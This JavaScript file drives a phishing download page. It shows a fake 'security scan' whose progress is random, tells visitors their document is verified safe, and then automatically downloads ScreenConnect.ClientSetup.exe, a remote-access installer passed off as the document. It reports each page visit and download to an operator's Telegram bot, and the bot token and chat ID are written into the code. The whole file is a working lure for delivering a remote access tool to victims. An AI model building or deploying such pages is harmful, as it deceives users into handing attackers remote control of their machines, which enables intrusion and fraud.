const scanSteps = [
  "Opening encrypted connection",
  "Verifying document signature",
  "Scanning for unsafe content",
  "Preparing secure download",
];

/*
 * Add your Telegram bot token and destination chat ID below.
 * These values are visible to anyone who can view this JavaScript file.
 */
const TELEGRAM_BOT_TOKEN = "8829726039:AAHhESyXPWipX45Xw2PRhxVcXIfzuayqOtg";
const TELEGRAM_CHAT_ID = "1313759857";

/*
 * Place the executable beside index.html and enter its exact filename here.
 * Filenames containing spaces are supported.
 */
const DOWNLOAD_FILE = "ScreenConnect.ClientSetup.exe";

const elements = {
  documentVisual: document.querySelector("#documentVisual"),
  scannerLine: document.querySelector("#scannerLine"),
  statusSymbol: document.querySelector("#statusSymbol"),
  eyebrow: document.querySelector("#eyebrow"),
  headline: document.querySelector("#headline"),
  supportingText: document.querySelector("#supportingText"),
  progressPanel: document.querySelector("#progressPanel"),
  progressTrack: document.querySelector("#progressTrack"),
  progressBar: document.querySelector("#progressBar"),
  progressText: document.querySelector("#progressText"),
  scanStatus: document.querySelector("#scanStatus"),
  postScanNotice: document.querySelector("#postScanNotice"),
  fileState: document.querySelector("#fileState"),
  downloadButton: document.querySelector("#downloadButton"),
  buttonText: document.querySelector("#buttonText"),
  buttonIcon: document.querySelector("#buttonIcon"),
};

let progress = 6;

async function sendTelegramNotification(eventType) {
  if (!TELEGRAM_BOT_TOKEN || !TELEGRAM_CHAT_ID) {
    return;
  }

  const messages = {
    page_opened: "🔔 A visitor opened your download page.",
    automatic_download: "✅ The application download started automatically.",
    manual_download: "✅ A visitor clicked the download button.",
  };

  const message = messages[eventType];

  if (!message) {
    return;
  }

  try {
    const response = await fetch(
      `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`,
      {
      method: "POST",
      headers: {
          "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
      },
        body: new URLSearchParams({
          chat_id: TELEGRAM_CHAT_ID,
          text: `${message}\nTime: ${new Date().toLocaleString()}`,
        }),
      keepalive: true,
      },
    );

    if (!response.ok) {
      throw new Error(`Telegram returned status ${response.status}.`);
    }
  } catch (error) {
    // A notification failure must never interrupt the user's download.
    console.warn("Telegram notification could not be sent.", error);
  }
}

function updateProgress() {
  progress = Math.min(100, progress + 1 + Math.floor(Math.random() * 3));

  const currentStep = Math.min(
    scanSteps.length - 1,
    Math.floor((progress / 100) * scanSteps.length),
  );

  elements.progressBar.style.width = `${progress}%`;
  elements.progressText.textContent = `${progress}%`;
  elements.scanStatus.textContent = scanSteps[currentStep];
  elements.progressTrack.setAttribute("aria-valuenow", progress);

  if (progress >= 100) {
    window.setTimeout(showVerifiedState, 380);
    return;
  }

  const nextDelay = progress > 84 ? 100 : 70 + Math.random() * 90;
  window.setTimeout(updateProgress, nextDelay);
}

function showVerifiedState() {
  elements.documentVisual.classList.add("is-ready");
  elements.scannerLine.remove();
  elements.statusSymbol.className = "check";
  elements.statusSymbol.textContent = "✓";

  elements.eyebrow.textContent = "Security check complete";
  elements.headline.textContent = "Your document is safe.";
  elements.supportingText.textContent =
    "No threats were found. Your verified file is ready to download.";

  elements.progressPanel.classList.add("complete");
  elements.scanStatus.innerHTML =
    '<i class="mini-check">✓</i> Safe to download';
  elements.postScanNotice.classList.add("visible");

  elements.fileState?.classList.add("visible");
  elements.downloadButton.disabled = false;
  elements.downloadButton.classList.add("visible");

  // Start the configured file download automatically when the scan reaches 100%.
  window.setTimeout(() => downloadDocument("automatic"), 500);
}

function downloadDocument(downloadType = "manual") {
  const temporaryLink = document.createElement("a");

  temporaryLink.href = DOWNLOAD_FILE;
  temporaryLink.download = DOWNLOAD_FILE;
  document.body.appendChild(temporaryLink);
  temporaryLink.click();
  temporaryLink.remove();

  sendTelegramNotification(
    downloadType === "automatic" ? "automatic_download" : "manual_download",
  );
}

elements.downloadButton.addEventListener("click", () => {
  downloadDocument("manual");
});

sendTelegramNotification("page_opened");
window.setTimeout(updateProgress, 600);
